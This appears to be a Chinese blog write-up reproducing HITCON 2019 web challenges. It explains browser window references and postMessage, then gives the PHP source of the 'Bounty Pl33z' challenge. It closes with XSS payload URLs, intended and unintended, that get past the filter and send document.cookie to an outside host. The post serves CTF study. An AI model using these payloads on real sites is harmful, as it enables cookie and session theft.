2019hitcon的部分web题目复现

前言

由于最近比较忙,因此没有看hitcon的题目,只能够赛后复现一波。

0x1 前置知识:

在应用有frameset或者iframe的页面时,parent是父窗口,top是最顶级父窗口(有的窗口中套了好几层frameset或者iframe),self是当前窗口, opener是用open方法打开当前窗口的那个窗口。

window.self:

1
2
3
1.功能:是对当前窗口自身的引用。他和window属性是等价的。
2.语法:window.self。
3.注:window,self,window.self是等价的。

window.top:

1
2
3
功能:返回顶层窗口,即浏览器窗口。
语法:window.top。
注:如果窗口本身就是顶层窗口,top属性返回的是对自身的引用。

window.parent:

1
2
3
功能:返回父窗口。
语法:window.parent。
注:如果窗口本身是顶层窗口,parent属性返回的是对自身的引用。在框架网页中,一般父窗口就是顶层窗口,但如果框架中还有框架,父窗口和顶层窗口就不一定相同了。

0x2 window.postMessage

1
2
3
window.postMessage是HTML5中新增的一个API(不能低于IE8),postMessage方法允许来自不同源的脚
本采用异步方式进行有限的通信 ,使其可以实现跨文本档、多窗口、跨域消息传递,这个API为 window 对象
新增了一个window.postMessage方法,允许跨窗口通信,无论当前两个窗口否是同源。
postMessage(val1,val2):
val1: 传递的信息对象。
val2: 接受信息的窗口源(origin)协议+域名+端口号,如果设置为"*"表示不限制窗口源,向所有窗口源发送。
下面是完整的两个窗口之间的通信。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//a.html
<body>
<div class='body'>
<div class='left'>
<p>LEFT</p>
<button id='iframeEvent'>给子级页面传参</button>
</div>
<div class='right'>
<iframe id='ifrA' src="b.html" frameborder="0"
width='100%' height='100%'>
</iframe>
</div>
</div>
<script>
var ifr = document.getElementById('ifrA');
var send = document.getElementById('iframeEvent');
//给子级页面发送消息
send.addEventListener('click', function() {
var val = '我是父级页面过来的参数';
ifr.contentWindow.postMessage(val, 'http://127.0.0.1:5500/b.html')
}, false)

//接送参数
window.addEventListener('message', function(e) {
var url = 'http://127.0.0.1:5500';
if (e.origin != url) {
return;
}
console.log(e.data);
}, false)
</script>
</body>

//b.html
<body>
<p class='title'>我是子级页面</p>
<button class='childPage'>给父页面传递参数</button>
<script>
//接受父级页面传递过来的参数
window.addEventListener('message', function(event) {
var url = 'http://127.0.0.1:5500';
if (event.origin != url) {
return;
}
console.log(event.data);
}, false)

//发送子级页面的参数给父级页面
var btnEvent = document.querySelector('.childPage');
var data = '我是子级页面传递过来的参数';
btnEvent.addEventListener('click', function(e) {
window.parent.postMessage(data, 'http://127.0.0.1:5500/a.html')
}, false)
</script>
</body>

0x3 Bounty Pl33z

题目给出了源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$q = isset($_GET['q'])? $_GET['q']: '';
$q = str_replace(array("\r", "\n", "/", "\\", "<", "."), "", $q);
if( substr_count($q, "'") > 1) $q = str_replace("'", "", $q);
if( substr_count($q, '"') > 1) $q = str_replace('"', "", $q);
$host = $q . ".orange.ctf";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<script type="text/javascript">
if (window.top == window.self) {
window.self.location.href = "https://<?=$host;?>/oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361";
} else {
var data = JSON.stringify({
message: 'CTF.API.remote',
data: {
location: "https://<?=$host;?>/oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361"
}
});
window.parent.postMessage(
data,
"https://<?=$host;?>"
);
}
</script>
</head>
<body>
</body>
</html>
0x01 hitcon 2019上xss存在的两个已知问题。
0x02 这是Orange的预期解决方案,使用–>字符。
1
http://3.114.5.202/fd.php?q=rwx%252ekr?"%2bdocument[`cookie`]%E2%80%A8-->
0x03 但是,如果在字符串后立即放置–>,则必须将其解释为后缀运算符,并在后缀操作错误中导致无效的左侧表达式。
0x04 常见的空格被过滤掉,但是可以用\u2028,\u2029等代替。
0x05 在JavaScript中可以解释为空格的其他字符是:
0x06 9 - 13, 32, 160, 5760, 8192 - 8202, 8232, 8233, 8239, 8287, 12288, 65279
非预期的解法
1
http://3.114.5.202/fd.php?q=rwx.kr?`%2b"%2bdocument[`cookie`];(`${`
我们同样可以用模板字符串来解决。
1
http://3.114.5.202/fd.php?q=rwx%252ekr%23%60%7D,",(%60,class%20$%7Bx=%60$%7B(import(`http:rwx%252ekr?`%2bdocument[`cookie`]))%7D%7D;